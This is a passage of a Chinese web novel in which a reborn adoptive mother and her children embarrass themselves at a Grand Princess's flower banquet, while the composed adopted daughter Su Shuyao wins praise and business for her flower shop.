万氏整理了一下衣摆，带着苏明珠和苏明芷便迎了上去。 “国公夫人，汪夫人。” 可是，护国公夫人和汪夫人的态度却极其冷淡生疏，看向她们的眼神，还隐隐透着一股子鄙夷。 “我们和万夫人不太熟，还是各走各的路吧。” 两位夫人留下一句话，便带着自家女儿进去了。 万氏手指掐进了肉里。 这两位夫人，上一世可是上赶着巴结她的。 都怪苏舒窈，都是因为她，两位夫人才对她产生了误会。 万氏把苏舒窈叫来：“看吧，都是你干的好事，连累了我们！” 面对温年的污蔑，万氏无言以对，在苏舒窈面前，万氏又高高在上起来。 万氏仗着养母的身份欺人，实际上，也不过是个欺软怕硬的蠢货。 苏明珠眼眶红红的拉着万氏：“母亲，都怪我说话做事不够妥帖，被人误解了。” 第54章 厚脸皮 苏舒窈又差点被气笑了：“夫人这话好生奇怪，我做了什么好事？” “是我在外面欠钱不还被人找上门？” “还是我想往姐妹身上泼脏水被人当众揭穿？” 她的声音淡淡的，语调平和，没有尖厉反驳，却自有千钧之力，将恶意构陷一一反击，足以让心怀不轨之人自惭形秽。 万氏眉心一皱，骂道：“牙尖嘴利！” 苏舒窈淡然一笑：“夫人，你别说了，到时候又有传言说夫人欺压养女了。” 万氏被噎得满脸通红，心里恨不得手撕了苏舒窈。 这苏舒窈，真的是越来越无法无天了！ 苏明珠拉着万氏的手，将人护在身后，“姐姐，你误会母亲了，母亲并非责骂姐姐，母亲只是想问问此事和姐姐是否有关？” 苏舒窈看她一眼，便知道她心里憋了什么坏水：“妹妹的意思，是硬要把我和温公子扯上关系？” “出门在外，一荣俱荣一损俱损的道理都不懂？污了我的清誉，对你有什么好处？” “愚不可及。” 苏舒窈说完，拿着花帖，径直朝着长公主府大门走去。 苏明珠看着她的背影，恨得牙痒。 “快跟上去！” 没有帖子，他们进不了长公主府的大门。 公主府家的管事接过花贴，看着苏舒窈背后一排人，面露疑惑：“苏小姐，帖子上只邀请了您一人，这些是？” 苏舒窈微微侧身，看了眼身后的万氏。 万氏上前递过一个封红：“这位妈妈，我是舒窈的母亲，这两位姑娘是舒窈的妹妹，这两位公子是舒窈的两个哥哥。” 苏明珠站出来，柔声道：“儿行千里母担忧，母亲是担心姐姐粗心大意得罪了贵人，不放心才跟着一起，还望妈妈通融。” 公主府的管事什么没见过，大概是嫡母得知了养女的机缘，抢不了，便试图硬蹭。 更何况，这一家子在门口闹腾的场景她全看见了。 当即脸上便露出一抹鄙夷：“这可不是能随便通融的，长公主府的大门，不是什么阿猫阿狗都能随便放进去。” 万氏脸色一变，指尖泛着白。 现在一个小小的管事妈妈都敢随便给她脸色瞧。 上一世，她可是长公主花宴的常客，这些管事妈妈见到她的时候，脸笑得跟花儿一样。 现在竟然敢这般羞辱她！ 苏明沛脸色也不好看。 依他上一世的脾气，早就拂袖而去了。 但，今日他听说三皇子殿下会来。 他有政事想和三皇子殿下商议，相信三皇子听了他的想法，必定会大为称赞。 下一届的新帝是三皇子，现在可以和三皇子搞好关系了。 眼看只有苏舒窈一人能进去，苏明珠急了：“姐姐，你快说句话啊，是你要求我们大家一起来的。” “姐姐，你说话啊！” 周围这么多世家夫人看着呢，要是被赶出去，他们威远侯府的脸要被丢尽了。 苏舒窈这才看向门口的管事妈妈：“还请通融。” 苏舒窈是长公主亲自邀请的贵客，管事妈妈不敢为难，她勉为其难地看了眼万氏，“进去之后，谨言慎行，长公主府可不是能随便撒野的地方。” 苏明珠这才点了点头：“多谢妈妈。” 一行人进门之后，万氏松了口气，看向苏舒窈：“记住，出门在外，代表的是威远侯府的脸面，行事必须注意分寸。” “不得败坏了咱威远侯府的家风。” 苏舒窈笑了笑：“夫人，威远侯府的家风是什么？” 威远侯府哪来的家风？ 万氏被噎了一下，不知如何回答，还是苏明珠抢话化解了尴尬： “姐姐，母亲的意思是，姐姐不懂的地方，跟着母亲指使行事便好。”苏明珠又看向万氏：“女儿多谢母亲教导。” 万氏的脸色这才好了些许：“走吧，跟着我来，长公主府很大，不跟紧一点，可是会迷路的。” 上一世，万氏可是长公主府上的常客。 她从容不迫地在前方带路，“前面左转有一片灵霄花墙，现在正是花期，可以去看看。” 一行人果然看到一大片凌霄花。 金黄的花瓣边沿泛着金，好似洒在绿色宣纸上的朱砂，浓得鲜亮。 苏明芷：“母亲，真的有凌霄花呢，母亲对公主府好生熟悉。” 万氏又道：“再往前，就是大名鼎鼎的落星湖。传说曾经有流星坠入。” 她说的有鼻子有眼，仿佛对这里非常熟悉，完全不像是第一次来。 周围顿足的夫人看过来，朝她投以友善的微笑。 万氏忽然又得意起来。 刚刚被管事妈妈刁难的屈辱一扫而空，仿佛变成了上一世那个被各家夫人追捧的侯夫人。 长公主一般在花厅待客，不同品级的夫人，座位自然不同，万氏一行人被带到末位坐下。 虽然位置偏远，但好歹也成了长公主府花宴上最尊贵的宾客。 苏明芷兴奋地四处张望。 苏舒窈刚坐下去，就见一个小丫鬟过来：“苏小姐，李夫人请您过去。” 苏舒窈抬眼一看，便看见李鸢朝她招手。 李鸢坐在长公主旁边，她的身边留了个座位，像是专门为苏舒窈准备的。 苏舒窈站起来：“夫人，我去了。” 万氏抿了抿唇：“你待会儿想办法，让我们也坐过去。咱们是一家人，哪有和母亲分开的道理。” 苏舒窈仿佛听了一个天大的笑话，还是应了声“是”。 看着苏舒窈的背影，苏明珠咬牙切齿。 得意什么？ 等侯府重获辉煌，她才是被万人追捧的侯府嫡小姐！ “白姐姐，这就是我说的舒窈。”李鸢牵着苏舒窈的手，让她坐在自己旁边，笑道：“舒窈，快来给白姐姐请安。” 长公主的闺名即白。 能直呼长公主名讳，可见两人关系亲密。 长公主浑身上下透着一股贵气，三十多岁，但保养极好，岁月仿佛不曾在她脸上留下痕迹。 “长公主安康。”苏舒窈规规矩矩行了一礼。 李鸢看着奶妈妈怀中的儿子，笑道：“要不是舒窈，我和南儿恐怕凶多吉少了。哪里会知道，车轴会在荒郊野外坏掉。” 长公主笑着看向苏舒窈：“看着是个聪慧的，小小年纪，遇事沉稳，真是难得。” “长公主殿下谬赞了。” 苏明芷看着和长公主相谈甚欢的苏舒窈，心中泛起一抹酸意。 “母亲，听说长公主挑媳妇不看门第，长公主不会看上姐姐了吧？” 毕竟这皇城根下，比长公主门第高的，也没有几人。 万氏脸色一沉，“怎么可能，她那个样子，怎么会配得上谢小郡王？！” 正在此时，下人来报：“谢小郡王来了。” 众人的目光齐齐转向花厅门口。 一群人拥着一个锦衣公子出现在门口。 看清人脸，苏明珠脸色一变。 这不是正是那个骗钱的谢老板吗？！ 第55章 再次丢脸 苏明珠一把抓住万氏的手，激动道：“母亲，就是他，就是他骗了我的银子！！” 万氏眉心微微一皱：“明珠，你看清楚，不可胡说八道。” 那可是长公主的嫡长子，谢小郡王。 怎么可能是骗人银子的低贱商贩。 “你再看看，也许只是长得像罢了。” 苏明珠深吸一口气，死死盯着谢瑜。 谢老板平时穿金戴银，打扮得跟朵人间富贵花一般，浑身都闪着光。 谢小郡王则完全相反。 他穿着一身墨色长衫，蹀躞带上只系了一块玉佩，端的是素雅清贵、渊渟岳峙。 虽然五官一样，但谢老板一双桃花眼看人的时候深情款款，随时向外传情。 谢小郡王的眉目却柔和得好似被泉水浸润过的美玉，琥珀色的眸子泛着淡色的光，冷清淡漠，眉宇间自然流露出一种高不可攀的贵气。 苏明珠疑惑了。 五官完全相同，气质却是迥然不同，难道真的是她认错了？ 真是两个人？ 待会儿试探一番便知真假。 谢瑜朝着长公主走过去，行礼道：“母亲。” 声音相同，语气却不同。 谢老板的嗓音也好听，语气透着一股曼妙的轻佻，不似谢小郡王这般稳重。 谢瑜一进来，便吸引了整个花厅的贵女的注意，议论声四起。 “听说谢小郡王从小在江南谢家长大，由谢阁老亲自教养，书读得极好，早早便中了解元，颖悟绝伦。” “谢小郡王长得也好，此次回京，会被陛下委以重任。” “也不知道哪家的姑娘走了好运，能被长公主看上，成为郡王妃。” 听到这里，苏明珠心思一动。 如果谢瑜真的是谢老板......之前谢老板看她的眼神那般黏糊，那岂不是，她也有成为郡王妃的机会...... 想到这里，苏明珠精神一震，背脊也挺直了几分。 被骗银钱的屈辱也一扫而空，反而有些庆幸：“母亲，女儿想试他一试。” 万氏了解到苏明珠的意图，颔首同意。 “阿瑜。”长公主牵着谢瑜的手，坐在自己身旁：“这位是李夫人、这位是苏姑娘。” “李夫人、苏姑娘安好。”谢瑜行礼的动作规范，眼神目不斜视，看人带着三分笑，却不过分热络，带着一丝恰到好处的分寸。 一看就是世家培养出来的上等教养的公子。 清风霁月，儒雅清贵。 苏舒窈看到谢瑜的第一眼，也有疑惑。 谢老板？ 像，又不像？ 淡淡地看了一眼，便挪开视线。 是或不是谢老板，也不过是高位者一句话而已。 就算拿着确切证据，谢瑜不承认，也不能奈何。 “母亲刚才在说什么，这般高兴。” 长公主笑道：“在说苏姑娘聪慧。” 李鸢又把怎么遇难，苏舒窈怎么救助的事说了一遍。 “她真的沉稳，我当时慌得跟什么一样，身边也没带几个人，还好遇到了舒窈。李妈妈都惊呆了，说是从来没有见过这般冷静的小姑娘，一切安排得尽然有序，比很多高门主母还妥帖，我还不信，结果刚到农家，就发现一切都准备好了，比我在自家府上生产还顺利......” 女人生孩子本就是过鬼门关，更何况遇到突发状况。 听着李鸢惊心动魄的描述，周围坐着的几个夫人也接话道：“这个年龄有这般心性，实属难得。” “苏小姐瞧着就聪慧，遇事临危不乱，真真玲珑剔透，不像是寻常脂粉堆里养出的姑娘。” “苏小姐长得也好......” 长公主看着人，脸上笑意深刻：“确实长得好，好久没有看到这般漂亮齐全的孩子。” 今儿来了这么多姑娘，环肥燕瘦各有千秋，苏舒窈却如同枯野深山一朵幽兰，安静秀丽，却让人无法忽视。 苏舒窈低着头，心头涌起一抹异样的情绪。 虽然知道有些夫人的夸赞是看在长公主的面上，还是有一丝羞耻之意漫上心头。 上一世，她为侯府任劳任怨，为两个哥哥殚精竭虑谋划，从来没有得到过一句夸赞。 万氏觉得，她的付出理所应当。 每当她做出一点成绩，换来的不是感谢与夸赞，而是更多的打压。 万氏怕她居功自傲，威远侯怕她翅膀硬了，一直在向她灌输“你不配”、“你做得还不够”的观点。 不惜一切余力贬损她。 还说是为了她好。 她以为，这就是万氏教育子女的法子。 可是，万氏对其他子女完全不是这样，她也会夸赞，也会鼓励，只是从来不夸赞她罢了。 忽然被这么多人围着夸赞，苏舒窈难免生出一抹羞赧。 还好她一向沉静，心中的羞赧一闪即过，谦虚地回应周围夫人的夸赞。 耳尖微微泛红。 谢瑜恰好捕捉到苏舒窈的变化，微微弯了唇角。 紧接着，便是各家夫人带着女儿到长公主面前请安。 谢瑜站在长公主身后，垂手而立。 今儿来的人很多，长公主看到喜欢的，便留下来说两句话，间或也让谢瑜说两句。 看得出，长公主是很认真在挑选媳妇。 苏舒窈坐在一边，小声和李鸢说着话。 李鸢刚出了月子，气色不错。 高门大户专门备了好几个奶娘，孩子身边也请了好几个妈妈，孩子不需要李鸢时时刻刻守着。 她在屋里关了一个月，忽然能出门，颇有些兴奋，拉着苏舒窈说起时行的料子，又说起最近的热闹事。 正在这时，万氏带着苏明珠、苏明芷过来了。 长公主身边的丫鬟介绍道：“这是威远侯夫人和府中的两位嫡小姐。” 威远侯？没听说过。 长公主抬眼看了下苏明珠和苏明芷，长得一般，打扮得也俗气。 尤其是苏明珠，跟没见过男人似的，眼珠子一动不动地盯着谢瑜瞧。 长公主当即露出一抹不喜。 身边的丫鬟会意，侯夫人和两位小姐不得长公主青睐，长公主不打算和她们说话。 “侯夫人、两位小姐，请回座吧。” 其他夫人小姐过来请安，长公主多少要说一两句话，万氏带着女儿过来，长公主一句话没说，脸上还露出不喜，还是当着这么多人的面。 他们威远侯府的脸面又被丢尽了。 第56章 争辩 万氏抿了抿唇。 心头有些不满。 凭什么苏舒窈就能挨着长公主说话，出尽风头，她们就要待在角落里坐冷板凳？ 重活一世，她自然有能耐留下来！ 万氏稳定心神，笑脸看了过去：“不知长公主殿下的头风好些了吗？” 万氏记得，上一世长公主被头风困扰，经常痛得睡不着觉。 “我这里正好有一份治疗头风的方子，长公主可以试一试。” 长公主闻言，正眼看向万氏，微微点了点头：“多谢夫人，夫人有心了。” 万氏心下一喜，正欲开口继续和长公主攀交情，长公主身旁的丫鬟打断道：“夫人待会儿让人把方子交给奴婢就行，夫人请回吧。” 万氏脸色一沉。 她都送上治疗头风的方子了，不留她们多说一会儿话吗？ 万氏有些不甘心。 但，长公主身边的贴身丫鬟已经出口赶人，她确实不便久留。 看着稳稳坐在李鸢身旁的苏舒窈，万氏心底生出一丝恼意。 苏舒窈怎么回事？ 这个时候不是应该开口帮她们说说话，让长公主留下她们吗？ 难道......长公主无缘无故对她们表示出不喜，其实是苏舒窈在长公主面前说了她们的坏话...... 苏舒窈，竟然这般阴险！ 想到这里，万氏的指甲掐进了肉里。 待会儿回府，定要好好罚她一番！ 万氏咬着牙龈，正准备带着两姐妹离开，忽然，苏明珠出声道：“姐姐，你头上的步摇歪了。” 说着，便上前，将苏舒窈头上的金步摇扶正。 长公主这才抬起头：“舒窈，这是你的妹妹？” 苏明珠见引起长公主注意，立刻挺起胸脯，脸上露出一抹谄媚的笑意。 “长公主殿下，小女是舒窈的妹妹，闺名明珠。” 长公主再次露出一抹不喜：“本公主没问你。” 不知道威远侯府怎么教养的，姐姐沉稳知礼，妹妹这般没规矩。 苏明珠脸色一青，扯着嘴皮挤出一抹笑来。 苏舒窈点点头：“长公主殿下，这位是侯府夫人，这两位是我妹妹。” 她喊的是夫人，没喊“母亲”，明眼人一听便知其中关窍。 长公主可没闲心过问威远侯府的家事，挥挥手：“行吧，退下吧。” 这下，长公主的不喜是放在明面上了。 这个时候，万氏带着人离开，这事便轻轻揭过了。 万氏却不干了：“妾身斗胆问一句，是否有小人在长公主面前说了不好的话，让长公主对妾身、明珠有所误会？” 她口中的“小人”，当然指的是苏舒窈。 听到“小人”二字，谢瑜眯着眼，淡淡地看了苏舒窈一眼。 苏舒窈却坐得稳当，一点未受影响。 万氏心中笃定，定然是苏舒窈说了什么不该说的话，不然不可能初次见面，长公主便对她们产生不喜。 上一世，她和长公主的关系很是融洽。 长公主当即皱起眉头。 身边的丫鬟斥责：“大胆，怎么和长公主殿下说话的？！” 万氏站得笔直：“请长公主恕罪，妾身行得直坐得端，并未做出不轨行为，但长公主明显厌恶妾身，妾身不得长公主喜爱，并非大事，妾身也不是非要赢得长公主喜爱，妾身只不过想问个明白而已。” 上一世，她在长公主面前有话就说，从不藏着掖着。 长公主还夸她“性情刚直”、“坦荡磊落”。 长公主也是这般性格的人，有什么说什么，藏着掖着反而会有一种小人长戚戚的猥琐。 苏明珠立刻跪了下去：“长公主殿下，请原谅母亲的莽撞，母亲也是想护着我们两姐妹罢了。” 两人一唱一和，颇有些母女情深的既视感。 长公主身边的贴身丫鬟骂道：“还不快退下，待会儿被婆子拖下去，夫人和姑娘的脸面可是要重伤了。” 长公主看了眼身边的丫鬟：“行了，让她说。” 看向万氏：“你想问什么？” 万氏心下一喜，觉得自己赌对了。 长公主果然跟上一世一般真性情。 只要这波操作得好，不仅能扭转威远侯府在长公主心目中的印象，还能让长公主看清楚苏舒窈内心的奸诈。 万氏将自己的话重复了一遍：“妾身想知道，是否有人在长公主面前恶意编排妾身和妾身的两个女儿。” 长公主脸色再次暗了两分：“并没有人在本公主面前说过你们的坏话。” “见到你们之前，本公主连威远侯府是什么都不知道。” 简言之，威远侯府小得连在长公主面前提起的资格都没有。 周围议论声响起：“笑话，当自己是哪盘桌上的菜？” “什么威远侯？听都没听过！威远侯都落魄成那个样子了，有什么值得到长公主面前编排的？” “我倒是听过，听说他们世子拜师大儒不成功，提前办起了庆功宴！” 万氏脸色由白变青，不死心问道：“真没有？” “大胆，竟敢质疑长公主？！”长公主身边的贴身丫鬟再次骂道。 长公主抬眼让丫鬟闭口，看向万氏：“还有什么要问的？” 万氏接着开口：“那长公主为何对妾身和妾身的女儿不喜？” “本公主看在夫人第一次登门，不欲给夫人难堪，但夫人非要找死，本公主就让你死个明白！” 长公主抬手指着苏明珠：“你自己看看，她现在都在盯着瑜儿瞧，简直一点规矩都没有！” “举止轻浮无状，不守闺训！” 苏明珠确实在偷看谢瑜，走近之后，更是忍不住盯着看。 谢瑜的五官眉眼和谢老板一模一样，换身穿戴，就是活脱脱的谢老板。 难道长公主生了一对双胞胎，哥哥从政，弟弟从商？ 不对，长公主的儿子，怎么会当低贱的商人。 难道是驸马在外的私生子......上一世也没听说有这么狗血的事发生啊？ 苏明珠看着谢瑜，脑子里涌入千头万绪。 看在外人眼里，便是她盯着谢瑜，眼珠子都没有转一下。 “咔嚓——”万氏脑子里紧绷的那一根弦终于断了。 原来并不是苏舒窈在嚼舌根，是因为苏明珠盯着谢小郡王看得太入神了，才惹得长公主不喜。 万氏脸色“哗”的一变，眼前一黑，差点当场晕厥。 “哈哈哈，没见过这般自取其辱的人。” “真是丢脸丢到姥姥家了！” 苏舒窈看着万氏的丑态，脸上挂着淡淡的笑意。 她依然坐得笔直。 裙摆自然垂落，像极了山谷里独自绽放的白玉兰。 第57章 智障 长公主府，女宾们在花厅吃茶，男宾们则在外院，由驸马带着说话。 今儿来了好几位皇子，太子、三皇子、九皇子都来了，门阀世家的公子自然以太子为首，但太子却单单关照九皇子。 “九弟，最近几日弹劾你的帖子有点多啊。” 太子排行老二，乃皇后嫡出，十岁被立为太子，从小便按照储君的要求在培养。 太子三十岁，已经当了二十年太子，皇帝身体康健，也不知道还要等多久才能继位。 “上次你悄无声息地抄了户部右侍郎的家，搞得风声鹤唳，引得朝中很多人不满，最近还是谨慎行事的好。” 太子现在最大的对手，是贵妃所出的三皇子，对于这个毫无野心，“不懂事”的九弟多有照拂。 楚翎曜侧头看了下太子放在右肩的手，忍了又忍，才没有将太子的手打下去。 他乖顺地垂着眼眸，长睫掩盖着眸中幽暗：“多谢太子哥哥提点。” 太子伸手拍了拍楚翎曜的肩膀：“孤是你的哥哥，不必如此客气。记住，以后做事千万别这般鲁莽，有什么拿不准的地方，可以先来问问孤。” 楚翎曜：“那户部右侍郎贪墨上百万两雪花银，早就该死。父皇都没责怪，那帮朝臣真是啰嗦。” 太子笑了笑：“你就仗着父皇宠你。” 随着年岁增长，楚翎曜出落得越发不俗，眼眸精致，将少男的清朗与少女的灵秀糅合得恰到好处，就是太子见了，也觉得赏心悦目，也不怪皇帝偏宠。 太子原本十分忌惮这个长相过分漂亮的九弟，后来见他行事鲁莽冲动，仗着皇帝信任，动不动就抄家拿人，在朝中树敌众多，活脱脱把自己搞成了一个孤臣。 从不结党营私，根本不会有大臣支持他继位。 他忽然意识到，这个弟弟是个傻子。 这样的人，只对继位者忠心。 失去继位者信任，便会死无葬身之地。 不过九弟这样的人，等他登基之后可以重用。 三皇子看着兄友弟恭的两人，在心里冷笑了一声：“太子、九弟，你们慢慢说，我随便转转。” ~ 苏明沛和苏明添什么人都不认识，只能站在角落吃灰。 苏明沛倒是认识不少人，但那都是前世的好友。 他上前打了招呼，前世的好友对他冷眼相待，他不想自讨没趣，重新坐回角落。 见三皇子单独一人，苏明沛赶忙跟了上去。 苏明添见他起身，也跟了上去。 苏明沛转头问道：“你跟着我干什么？” 苏明添提醒道：“大哥，长公主府不是我们能随便撒野的地方，你别到处乱跑，小心冲撞了贵人。” 苏明沛勾唇一笑：“你且放心，我要结交的这位贵人，性子宽和得很，你先回去坐好，等我得到贵人青睐，再将你介绍给贵人认识。” 苏明添有些疑惑，还是坐了回去。 三皇子带着人在林子里闲逛，忽然，身后的侍卫靠了过来：“殿下，有人在后面鬼鬼祟祟跟踪。” 三皇子比了个手势，“拿下。” 侍卫冲过去，将苏明沛按在地上，“说，鬼鬼祟祟地跟着殿下，有何不轨？！” 苏明沛大呼冤枉：“三皇子殿下，在下并无恶意，在下乃威远侯世子苏明沛，因为欣赏殿下，想和殿下说说话。” “威远侯世子？”三皇子长了张圆脸，笑起来的时候，显得憨厚：“让他起来说话。” 虽然不知道威远侯府是哪个犄角旮旯的破落户，但能进入长公主府，应该有几分才能。 “苏世子，失礼了。” “不妨事，是在下唐突了。”苏明沛心中窃喜，三皇子殿下果然和上一世一般平易近人。 “在下有些建议，急于告知三皇子殿下，不知能否耽误三皇子殿下一点时间？” 三皇子打量了苏明沛一番，“不知苏世子现在在哪里任职？” 苏明沛：“回殿下，还没任职。” 三皇子又问：“苏世子是哪一年的进士？” 苏明沛：“三皇子殿下，说起来有些惭愧，在下正在准备明年年初的春闱。” 见三皇子面露疑惑，苏明沛赶紧保证：“今年必定高中的。” 三皇子：“......” 又不是进士又没在朝中任职，找他提哪门子建议？ 这人怕不是缺根筋？ 但，仔细一看，苏世子眼神清明，不像是智障，能被姑母邀请，也许有几分本事。 民间卧虎藏龙之人众多，既然人家找来了，听听看，也耽误不了多少时间。 不能遗漏任何一个人才。 “苏世子，我们边走边说。” 苏明沛站了一上午：“三皇子殿下，我有些累，不如找个地方坐着说。” 三皇子：？？ 你累，要本皇子陪你坐？ 不过听说很多有才之人都有些怪癖，忍一忍，看看他能说些什么。 “行吧，既然这样，去那边凉亭坐一坐。” 坐下之后，三皇子的侍从拿来茶具，“苏世子喝什么茶？” 这是客套话，一般人都是说随便，又不是真的来喝茶的。 苏明沛开口道：“铁观音。” 真的点上茶了。 三皇子眼神暗了一瞬，吩咐身边侍从：“去，给苏世子取铁观音来。” 泡上茶，苏明沛开口道：“再来点茶点吧，光喝茶，寡淡了些。” 三皇子的不耐烦已经到了顶峰，还是摆摆手，让人去拿点心。 苏明沛看着去拿点心的侍从，道：“要芙蓉糕、莲子糕和绿豆糕。” 侍从：？？ 不是，咱殿下给你客气，你真的点上菜了？ 苏明沛解释道：“长公主府的这三样点心最为爽口，尤其是配上铁观音，风味俱佳。殿下可以尝尝。” 他想表现出自己对长公主府极为熟悉的样子，看在三皇子眼中，却显得很没分寸。 茶点送达，三皇子的耐心已经快要归零：“苏世子，有话请讲。” 苏明沛这才开口道：“三皇子殿下身边有个叫做孟良俊的幕僚吧。” 三皇子点点头：“确有此人。” 竟然知道他身边最得力的幕僚，苏世子确实有几分本事。 三皇子坐直了身体。 能提前引得未来皇帝的注意，苏明沛心中窃喜。 上一世，孟良俊是他的一生死敌，两人政见不和，经常在朝堂上掐得死去活来。 孟良俊寒门出生，家境贫苦，当官之后依然清贫度日。 明明没银子，还爱装出一副清高模样。 苏明沛最是见不得他那副寒酸的模样。 不如趁他羽翼未丰，提前剪除。 重生一次，还是有好处的。 苏明沛：“孟良俊身上很多缺点，在下建议，还是及早疏远的好。” 三皇子脸上露出一些疑惑：“为何？” 苏明沛压低声音：“孟良俊他......对殿下的登基之路，是个大阻碍。” 三皇子：？？ 这人应该是个智障。 第58章 斩杀 三皇子觉得自己今日出门没带脑子，才浪费这么多时间和这个脑子缺根筋的人说话。 他不想和苏明沛有半点牵扯，起身就走。 皇帝身体康健，太子年富力强。他是贵妃之子，几个舅舅都在军中任要职，本来就身份敏感，全家都被皇帝提防，还被太子忌惮，正需要韬光养晦，府中幕僚都不敢请多了。 这个智障跑他面前来说什么“登基”，是嫌他死得不够快？ 他真是疯了，这个智障开口点茶的时候，就该将人赶走了。 苏明沛有些懵，他话都没说完，三皇子殿下怎么走了？ 他赶紧追上去：“三皇子殿下请留步，在下还有重要的建议！” 上一世，三皇子殿下的登基之路不太顺利。 九皇子弑父杀兄，有谣言认为是三皇子指使。一开始，朝臣们是强烈反对三皇子登基的。 在三皇子的强行镇压下，还有不少忠臣为了反抗，撞柱身亡，以证清白。 这一世，完全可以提前布局，让登基之路变得更为名正言顺。 “三皇子殿下，只要你听我一言，今后登基之路，必定会顺畅无比......” 三皇子转过头，眼中露出一抹狠戾，“再靠近一步，一律按刺杀者处理！” 侍从：“是！” 苏明沛停下了脚步：“三皇子殿下，为什么？” 他可是一心为三皇子着想的啊！ 殊不知，三皇子杀他的心都有了。 今儿姑母府上来了这么多人，其中不乏朝中重臣的后代，这个傻缺嘴上一直挂着“登基”二字，难免不会被人听去。 要是被父皇和太子得知，他该如何解释？ 父皇多疑，真的会相信他是遇到了一个疯子？ 他简直百口莫辩。 “他再往前一步，立刻斩杀！” “哗——”侍从拔出身上佩刀，苏明沛这才停下脚步。 三皇子恶狠狠盯着他：“要是被本皇子知道你在外造谣，杀无赦！” 说完，便头也不回地走了。 苏明沛都懵了。 怎么会这样？ 上一世，三皇子登基，成了至高无上的九五至尊之后，对他的态度明明很谦和的啊。 这一世，三皇子不过还是个皇子，怎么对他这般态度？！ 苏明沛百思不得其解。 究竟怎么回事？ 这一世，三皇子殿下究竟遭遇了什么？怎么会性情大变？！ 对了，去问问身边的两位幕僚。 陈先生和王先生肯定会知道答案，并且告诉他怎么扭转局面。 苏明沛转身往回走，走了两步才想起，陈先生和王先生是唐家送给他的幕僚。 这一世，他还没和唐挽心成婚，陈先生和王先生自然还在唐府。 他抗拒娶唐挽心。 上一世，每次他取得成绩，唐挽心眼中的祝福都不是出自真心。 唐挽心觉得，他在朝堂的成功，都是唐家的功劳，没有唐家幕僚的辅佐和唐家的照拂，他什么都不是。 他承认两位幕僚先生有些本事，也承认岳丈深得皇帝信任。 但他真的全无优点？ 他不喜欢唐挽心的偏见，也不喜欢唐挽心看他的眼神。 这一世，为了得到陈先生和王先生的辅助，还需要继续和唐家周旋。 想想就觉得窒息。 苏明沛叹了口气，重新回到之前的角落。角落里，苏明添高兴地迎了上来：“大哥，见到贵人了吗？” “见是见到了。”苏明沛露出一抹伤春悲秋的神态：“就是谈话不太愉快。” 在三皇子面前受挫，他现在急需安慰与鼓励。 苏明添才不想理他，他大哥屁本事没有，毛病一大堆。 就只有苏舒窈才会不厌其烦地安慰他，他才没有这个闲心。 “驸马带着大家一起进园子了，我们去找一找母亲和妹妹吧。” “行吧。” 两人跟在后面进了园子，苏明添听到有人议论。 “被长公主当面责骂还不走，脸皮还真厚啊！” “好不容易进了长公主府，怎么会轻易离开，当然会死皮赖脸留下来了！” 苏明添找到万氏之后，问道：“母亲，这些人在说谁啊？谁的脸皮那么厚，被长公主责骂之后还不走？” 万氏的眼神忽然阴沉下来，恶狠狠盯着苏明添。 苏明珠的脸色也不太好，只有苏明芷东瞧瞧西看看，一副刘姥姥逛大观园既视感。 苏明添立刻明白，那些贵女议论的人，是母亲。 他不敢多问，默默闭上嘴。 “要不走了吧。”苏明沛心情不佳，一刻也不想多留。 万氏不为所动，挺胸抬头，“为什么要走？走，岂不是代表我们认输。” 相对于他们的寂寞，苏舒窈身边可是热闹得很。 苏舒窈身边围了不少门阀夫人和贵女。 他们走了，岂不是便宜了苏舒窈？！ “走，跟着母亲，让你们看看，母亲怎么扭转乾坤！” ~ “这美人蕉色彩斑斓，长得可真好，不知长公主在哪里得来的？” 既然是赏花宴，就少不了花。 长公主府上，百花齐放，一大群门阀贵妇人围在美人蕉旁，驻足欣赏。 “李夫人，是我铺子上的。”苏舒窈笑道。 这次长公主府的赏花宴，李鸢从中牵线，苏舒窈的花草铺子可是做了一笔大生意。 送到长公主府的花，不仅有美人蕉，还有昙花、百合、百日菊，几乎盆盆都是精品。 长公主很是满意，这些门阀夫人们看出长公主待苏舒窈不一般，也顺手卖她一个好。 “苏小姐这么厉害？”李夫人笑道：“下次我府上办赏花宴，也请苏小姐帮忙挑些合适的花。” 苏舒窈笑着应了：“那就多谢李夫人了，李夫人如果要花，直接找管事到我铺子上说一声就行。” 好几位夫人都表示要到苏舒窈铺子上买花，没一会儿，苏舒窈就谈下了好几笔生意。 赏花风雅，门阀夫人最爱的便是赏花宴。 春夏秋冬四季都有花可赏，花草铺子虽然没有香料那般赚钱，但要是能让这些夫人今后都在她的铺子里买花，还是能赚不少。 苏舒窈从容地应对着门阀世家夫人们的提问，不谄媚，也不自卑，引得夫人们纷纷称赞。 苏明珠远远看着苏舒窈与世家门阀夫人们谈笑风生，不屑道：“姐姐怎么回事啊，怎么在长公主府里做起生意来了？” 苏明芷也道：“赏花如此高雅的一件事，苏舒窈这么一搞，染上了铜臭味，把一个好好的花宴弄得庸俗不堪了。” 万氏捏着手中的佛珠：“走，我们过去，阻止她继续败坏侯府名声吧！” 第59章 落荒而逃 “这昙花花苞真大，不难想象花开时会有多么惊艳。”李夫人是昙花爱好者，虽然昙花未开花，她也看出这盆昙花养得极好。 “赶明儿有了好的，我让人送两盆到李夫人府上。” 李夫人的夫君在刑部担任要职，身份不低，和李夫人搞好关系，有利无害。 苏舒窈拿出事先准备好的花笺，让秋霜分给各位夫人：“夫人们要是觉得好，我今后做了新的，都给夫人们送一份。” “苏姑娘小小年纪便这般妥帖，真是难得。听说苏姑娘从小跟着老夫人长大，老夫人年轻时候办事很是飒爽，我也有幸见过几次。” 说起老夫人，苏舒窈眼中也出现了几分动容。 忽然，万氏带着人走了过来。 看着苏舒窈在世家夫人之中游刃有余，苏明珠眼中的妒意快要烧穿。 这些门阀世家夫人的眼睛是瞎了不成？ 放着她这般耀眼的明珠不顾，偏偏围着苏舒窈那颗鱼目？！ 苏舒窈明明就是低贱的商贾，不，她就是个弃婴，比商贾都不如！ 苏明珠咬着牙，只盼着万氏出马，将苏舒窈的真面目解开。 苏明沛和苏明添倒是没觉得有什么，尤其是苏明沛，他觉得苏舒窈今后赚的银子，还是会像上一世那样给他用，让她多赚点也好，今后他入仕，需要用银子的地方会很多。 但万氏要借此立威，他也不便说什么。 万氏走过去，眉心一皱：“舒窈，你怎么做起夫人们的生意来了？赏花本是雅事，一旦沾染上铜臭，便被亵渎了。” 万氏说完话，朝着众位夫人浅浅一笑：“不好意思，是我管教不严，让诸位看笑话了。” 李鸢眉头轻轻皱了起来。 这万氏怎么回事，刚刚才被长公主训斥过，怎么又来了？ 专门针对舒窈，还都是这些上不得台面的拙劣把戏。 